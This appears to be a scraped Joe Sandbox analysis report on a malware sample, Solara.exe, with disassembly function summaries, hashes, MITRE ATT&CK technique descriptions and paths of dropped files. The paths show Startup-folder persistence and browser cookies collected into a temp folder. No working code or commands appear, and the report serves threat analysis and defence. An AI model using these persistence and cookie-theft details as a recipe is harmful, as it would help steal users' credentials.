Associated: 0000004D.00000002.2096619014.00007FFB08144000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097320655.00007FFB08145000.00000080.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097353575.00007FFB08147000.00000004.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ffb08030000_Exela.jbxd

Similarity

API ID: 00007C8119ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 2840558886-0
Opcode ID: d8a6e0e72b6848609e29a44b0cba3310e6ec791779f206a0b46e58d07e77914d
Instruction ID: 47f141b503dc5dd7cb9203b4be87ffbe92f762df33c94004fc15b3bdbae61957
Opcode Fuzzy Hash: d8a6e0e72b6848609e29a44b0cba3310e6ec791779f206a0b46e58d07e77914d
Instruction Fuzzy Hash: 91313EB2609A8199EB608F70E8907EE7368FB94744F444439DA4E47B94EF3DD648C71C

Function 00007FF75AE983B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE9841B
RemoveDirectoryW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE9849E
DeleteFileW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984BD
FindNextFileW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984CB
FindClose.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984DC
RemoveDirectoryW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984E5

Strings

%s\*, xrefs: 00007FF75AE983E2

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 709c6038febe3ce181d98b084f7fc6d58cae5cb6ff821833daea625e506cd7e4
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: E741A431A0C76699FA20BB24E44A9BDA760FF94750FC80276D95D436E4DF3CD946CB20

Function 00007FFB08032720 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB08032748
__scrt_initialize_crt.LIBCMT ref: 00007FFB0803278D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB0803279A
_RTC_Initialize.LIBCMT ref: 00007FFB080327C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB080327EE
__scrt_release_startup_lock.LIBCMT ref: 00007FFB08032819

Memory Dump Source

Source File: 0000004D.00000002.2096619014.00007FFB08031000.00000040.00000001.01000000.00000020.sdmp, Offset: 00007FFB08030000, based on PE: true

Associated: 0000004D.00000002.2096591330.00007FFB08030000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08094000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB080E3000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB0813C000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08141000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08144000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097320655.00007FFB08145000.00000080.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097353575.00007FFB08147000.00000004.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ffb08030000_Exela.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 2c919d68a485a940d5d0ad5c103bd88b2e133b3e89e7b4880588334ffb64ee24
Instruction ID: 1b74fde972ed3f7bec9f16f8c84010b21f8971e361c17ad147cacc75d1b50560
Opcode Fuzzy Hash: 2c919d68a485a940d5d0ad5c103bd88b2e133b3e89e7b4880588334ffb64ee24
Instruction Fuzzy Hash: 3081D3E1E1D74386F654AB36E841A792299BF59B82F148035DA4C433E6FE3CEB41870C

Function 00007FF75AEB93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF75AEB9400
_set_statfp.LIBCMT ref: 00007FF75AEB941B
_set_statfp.LIBCMT ref: 00007FF75AEB9437
_set_statfp.LIBCMT ref: 00007FF75AEB9473

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 096d61439cbb509755554546ccff3729beeb84aa50cc365daa6e78b9063f459d
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9911BF62E1CB3B41F65431A4D4DF3B9A0446F5A360F8C4BB4EA6E062D68F2CAC4142A4

Function 00007FF75AEAB400 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB41F
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB43E
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB466
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB477
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB488

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
Instruction ID: 4a939da0c258c316aa3a161b0d7937b10bdc9bdad022bd1f95d20fae419fbcee
Opcode Fuzzy Hash: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
Instruction Fuzzy Hash: 56118E20F0C67241FA58B322A6AB179E1425F847B0FCC83B4E87D476D6EE2CEC018321

Function 00007FFB08031FC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

00007FFB2ADB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB08031FF8
00007FFB2ADB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB08032016

Strings

HANGUL SYLLABLE , xrefs: 00007FFB08031FE5
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFB0803200C

Memory Dump Source

Source File: 0000004D.00000002.2096619014.00007FFB08031000.00000040.00000001.01000000.00000020.sdmp, Offset: 00007FFB08030000, based on PE: true

Associated: 0000004D.00000002.2096591330.00007FFB08030000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08094000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB080E3000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB0813C000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08141000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08144000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097320655.00007FFB08145000.00000080.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2097353575.00007FFB08147000.00000004.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ffb08030000_Exela.jbxd

Similarity

API ID: 00007B6570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 4069847057-87138338
Opcode ID: 5c7bf163557b2066fab1499a91b96f9435b7b54f10cfdb6e6711bfc6a5562b24
Instruction ID: 1e5d482fc14e60046ac7aa7f6a34b5543c5aca1af1fd7f5ee15b6af5c46a3fd6
Opcode Fuzzy Hash: 5c7bf163557b2066fab1499a91b96f9435b7b54f10cfdb6e6711bfc6a5562b24
Instruction Fuzzy Hash: 41613BB2B1864246E6608A39E400E7A725AFF90B91F444235EE5E477C9FF3CE605C70C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Solara.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Solara.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D.zip

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Cookies.txt

Windows Analysis Report
Solara.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre